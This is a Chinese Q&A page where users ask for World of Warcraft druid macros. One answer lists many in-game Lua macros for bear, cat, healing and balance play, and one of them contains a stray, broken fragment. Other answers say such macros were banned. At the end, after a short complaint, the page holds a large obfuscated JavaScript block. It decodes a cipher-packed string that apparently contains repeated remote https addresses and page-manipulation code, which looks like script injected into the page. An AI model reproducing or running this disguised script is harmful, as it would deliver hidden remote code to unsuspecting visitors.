求个魔兽世界野D宏 (高手进 高分)

2024-12-15 20:43:11
推荐回答(5个)
回答1:

想要XD宏,以下的XD宏可以帮助你不少,直接粘贴过去就可以用了:
(一)熊形态

1、冲锋:

(1)判断是否在熊/巨熊形态,如果不是则变成熊再冲锋+低吼;如果是则直接冲锋+低吼。

/Script local c,s,i,f,n,a,_=CastSpellByName,"巨熊形态";for i=1,GetNumShapeshiftForms() do _,n,a=GetShapeshiftFormInfo(i);if n==s then break;end;end;if a==1 then if IsActionInRange (34) then c("野性冲锋");else c("低吼");end;else c(s);end;

注:红字:34是技能栏编号,使用这个宏前要先把野性冲锋放在一个技能栏位上(放在一些少用的键位上)。

(2)基本相同,但是不低吼。

/script local c,s,i,f,n,a,_=CastSpellByName,"巨熊形态";for i=1,GetNumShapeshiftForms() do _,n,a=GetShapeshiftFormInfo(i);if n==s then break;end;end;if a==1 then c("野性冲锋");else c(s);end;

(3)这个在被击飞或者紧急情况时用比较有效,野性冲锋的同时低吼,如果怒气还大于35就使用

挥击挥霍怒气拉住仇恨。

/cast 低吼
/cast 野性冲锋
/Script if (UnitMana("Player")>35) then CastSpellByName("挥击");end

2、拉仇恨:
槌击+挥击大量倾泻怒气,如果目标的目标不是小D或者战士,则使用低吼。(OBLIND修改)

/script local class, c = UnitClass("targettarget"), CastSpellByName; if class ~= "德鲁伊" and class ~= "战士" then c("低吼"); else c("槌击"); c("挥击"); end; ) then CastSpellByName("低吼");end

3、攻击+槌击:
( 发挥 补充)当怒气小于10时使用普通攻击,否则使用槌击。

/script if (UnitMana("player")<10) then CastSpellByName("攻击");else CastSpellByName("槌击")end

4、熊形态+蛮兽神像:
人形态下,按1下是变熊,2下是换上蛮兽神像;熊形态下是换上蛮兽神像。(漠铭骑喵制作)红字部分是UseContainerItem(背包编号,格子编号)。请把[蛮兽神像]放在最原始的16格包的左上角位置上。

PS:背包编号:从左到右:4,3,2,1,0。 就是说,你一开始就有的16格行囊是0号背包。
背包格子编号:第一行从左到右:1,2,3,4 (注意从1开始的) ;第二行从左到右:5,6,7,8 依此类推……

/script local c,s,i,f,n,a,_=CastSpellByName,"巨熊形态";for i=1,GetNumShapeshiftForms() do _,n,a=GetShapeshiftFormInfo(i);if n==s then break;end;end;if a==1 then UseContainerItem(0,1);else c(s);end;

(二)猫形态

1、猫形态常用攻击宏:
通常情况下使用爪击,当连击点数大等于3点时(即“3星”),使用凶猛撕咬。

/script if ( GetComboPoints() >= 3 ) then CastSpellByName("凶猛撕咬"); else CastSpellByName

("爪击") end

2、猫形态起手宏(潜行):
在潜行的条件下,毁灭起手,然后检测对方身上是否有精灵之火,没有就上个,有就爪击。

/cast 毁灭
/cast 爪击
/script x=1;found=0;while(UnitDebuff("target",x)) do if(string.find(UnitDebuff
("target",x),"Spell_Nature_FaerieFire"))then found=1;end;x=x+1;end;
/script if(found==1)then CastSpellByName("爪击");else CastSpellByName("精灵之火(野性)")end

3、背面攻击宏:
先判断,如果毁灭能用就用毁灭,不能用就撕碎。

/script x=1;found=0;while(UnitBuff("player",x)) do if(string.find(UnitBuff
("player",x),"Ambush"))then found=1;end;x=x+1;end;
/script if(found==1)then CastSpellByName("毁灭");else CastSpellByName("撕碎")end

4、潜行+突袭:
先判断,如果在潜行状态下就突袭,否则潜行。

/script x=1;found=0;while(UnitBuff("player",x)) do if(string.find(UnitBuff("player",x),"Ambush"))then found=1;end;x=x+1;end;
/script if(found==1)then CastSpellByName("突袭");else CastSpellByName("潜行")end

5、爪击+撕碎:
当能量大等于60时使用撕碎,小于60时使用爪击。通常在BOSS战DPS时使用。

/Script if (UnitMana("Player")>=60) then CastSpellByName("撕碎");else CastSpellByName("爪击")end

6、攻击+爪击:
( 发挥 补充)能量如果小于37则普通攻击,大于37则爪击。

/script if (UnitMana("player")<37) then CastSpellByName("攻击");else CastSpellByName("爪击")end

7、突袭+扫击:
( 发挥 补充)如果潜行则使用突袭,否则使用扫击。

/script x=1;found=0;while(UnitBuff("player",x)) do if(string.find(UnitBuff("player",x),"Ambush"))then found=1;end;x=x+1;end;
/script if(found==1)then CastSpellByName("突袭");else CastSpellByName("扫击")end

8、猫形态+凶猛神像:
人形态下,按1下是变猫,2下是换上凶猛神像;猫形态下是换上凶猛神像。(漠铭骑喵制作)[红字部分是UseContainerItem(背包编号,格子编号)。请把[凶猛神像]放在最原始的16格包的第一行从左往右第2格的位置上。

PS:背包编号:从左到右:4,3,2,1,0。 就是说,你一开始就有的16格行囊是0号背包。
背包格子编号:第一行从左到右:1,2,3,4 (注意从1开始的) ;第二行从左到右:5,6,7,8 依此类推……

/script local c,s,i,f,n,a,_=CastSpellByName,"猎豹形态";for i=1,GetNumShapeshiftForms() do _,n,a,s=GetShapeshiftFormInfo(i);if n==s then break;end;end;if a==1 then UseContainerItem(0,2);else c(s);end;

(三)任何形态通用

1、人形宏:
判断如果不是人形态,则恢复人形态。可在任何形态下使用。

/script local i,a,_;for i=1,GetNumShapeshiftForms() do _,_,a=GetShapeshiftFormInfo(i);if a then CastShapeshiftForm(i);break;end;end;

恢复篇:

1、树皮+宁静:
判断是否有树皮,没有则放树皮,有则放宁静。简而言之,点一下是树皮,2下是树皮+宁静。

/script x=1;found=0;while(UnitBuff("player",x)) do if(string.find(UnitBuff("player",x),"StoneClaw"))then found=1;end;x=x+1;end;
/script if(found==1)then CastSpellByName("宁静(等级 3)");else CastSpellByName("树皮术")end

2、激活:
先判断,如果目标敌对/是NPC/没有目标/是没蓝职业 都给自己使用激活;如果目标是有蓝职业则

给对放激活。使用完激活自动返回上一目标。

/script x=UnitClass("target");if (not UnitIsFriend("player","target") or (UnitManaMax
("target")<200 and x~="Druid")) then TargetUnit("player");end;CastSpellByName("激
活");TargetLastTarget();

3、自然迅捷+治疗之触:
只需要按一下,但是偶尔也需要2下(比如延迟高)。(light_arm 修改)

/script SpellStopCasting()
/施放 自然迅捷
/script SpellStopCasting()
/施放 治疗之触(等级 11)

4、回春术+迅捷治愈:
有回春效果则放迅捷治愈,没有则放回春.
/Script x=1;found=0;while(UnitBuff("target",x)) do if(string.find(UnitBuff("target",x),"Rejuvenation"))then found=1;end;x=x+1;end;
/Script if(found==1)then CastSpellByName("迅捷治愈");else CastSpellByName("回春术(等级 11))")end

5、治疗之触:

(1)根据目标血量判断是使用最大等级的治疗之触,还是刷4级触(去血少于1200)。

/cast 治疗之触
/script if UnitIsFriend("Player","target") then if UnitAffectingCombat("target") then if
((UnitHealthMax("target"))-(UnitHealth("target"))<1200) then CastSpellByName("治疗之触(等级 4)");end;end;elseif SpellIsTargeting() then TargetUnit("Player");end

(2)根据目标血量判断使用哪个等级的治疗之触。

/script H=UnitHealthMax("target")-UnitHealth("target");S= {41,98,213,394,617,799,1004,1285,1621,2010,2496};
/script for j=11,1,-1 do if (H>=S[j]) then CastSpellByName("治疗之触(等级 "..j..")"); break;end;end;

6、回春术:
根据目标等级判断使用哪个等级的回春术。

/script r=11;l={4,10,16,22,28,34,40,46,52,58,60};t=UnitLevel("target");for j=r,1,-1 do if (t>=l[j]-10) then CastSpellByName("回春术(等级 "..j..")");break;end;end

7、愈合:
根据目标等级判断使用哪个等级的愈合。

/script r=9;l={12,18,24,30,36,42,48,54,60};t=UnitLevel("target");for j=r,1,-1 do if (t>=l[j]-10) then CastSpellByName("愈合(等级 "..j..")");break;end;end

8、驱毒:
在任何形态下变回人形,并给目标上驱毒。

/script local i,a,_;for i=1,GetNumShapeshiftForms() do _,_,a=GetShapeshiftFormInfo(i);if a then CastShapeshiftForm(i);break;end;end;
/cast 驱毒术

9、解除自身DEBUFF:
(妖术师金度制作)可解除自己身上的诅咒和中毒效果。

/script dbk={'Poison','Curse'}; spl={''驱毒术'',''解除诅咒''}; for m=0,31,1 do for n=1,2,1 do if GetPlayerBuffDispelType(GetPlayerBuff(m,'HARMFUL'))==dbk[n] then TargetUnit('player');CastSpellByName(spl[n]);TargetLastTarget();break;end;end;end;

平衡篇:

1、月火打图腾:
搜索附近敌对图腾,使用1级月火,之后自动返回上一目标。

/Target 图腾
/cast 月火术(等级 1)
/Script TargetLastEnemy()

2、树皮+飓风:
判断是否有树皮,没有则放树皮,有则放飓风。简而言之,点一下是树皮,2下是树皮+飓风。

/script x=1;found=0;while(UnitBuff("player",x)) do if(string.find(UnitBuff("player",x),"StoneClaw"))then found=1;end;x=x+1;end;
/script if(found==1)then CastSpellByName("飓风");else CastSpellByName("树皮术")end

3、月火机关枪?:
(6楼light_arm 补充)

/script x=1;found=0;while(UnitDebuff("target",x)) do if(string.find(UnitDebuff("target",x),"Spell_Nature_StarFall"))then found=1;end;x=x+1;end;
/script if(found==1)then CastSpellByName("月火术(等级 9)");else CastSpellByName("月火术(等级 10)")end

状态篇:

1、野性印记:

(1)根据目标等级判断使用哪个等级的爪子。

/script r=7;l={1,10,20,30,40,50,60};t=UnitLevel("target");for j=r,1,-1 do if (t>=l[j]-10) then CastSpellByName("野性印记(等级 "..j..")");break;end;end

(2)自动搜索团队内没有野性印记的团队成员,为其补上,掉线的,死亡的,不在视野内的都会忽略掉。(OBLIND制作)

/script local i,j,b,f,p;for i=1,40 do f=nil;p="raid"..i;if UnitIsVisible(p) then for j=1,16 do b=UnitBuff(p,j);if b and strfind(b,"Regen") then f=1;break;end;end;if not f then TargetUnit(p);CastSpellByName("野性印记");break;end;end;end;

2、荆棘术:
根据目标等级判断使用哪个等级的荆棘。

/script r=6;l={6,14,24,34,44,54};if not UnitIsFriend("player","target")then TargetUnit
("player");end;t=UnitLevel("target");for j=r,1,-1 do if (t>=l[j]-10) then CastSpellByName("荆棘术(等级 "..j..")");break;end;end

回答2:

不可能了 这种类型的宏 在TBC之后就被暴雪禁止使用了 还是自己动手操作吧
或者你去BBC.NGACN.CC 上的德鲁伊专区 看看还有没有类型的能用的宏

回答3:

动下脑子吧,自己做个判断也没多麻烦的;
这样的宏已经不能用了。

回答4:

按一个键就可以?那还要你干什么
做不到。

回答5:

考,这样骗人

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 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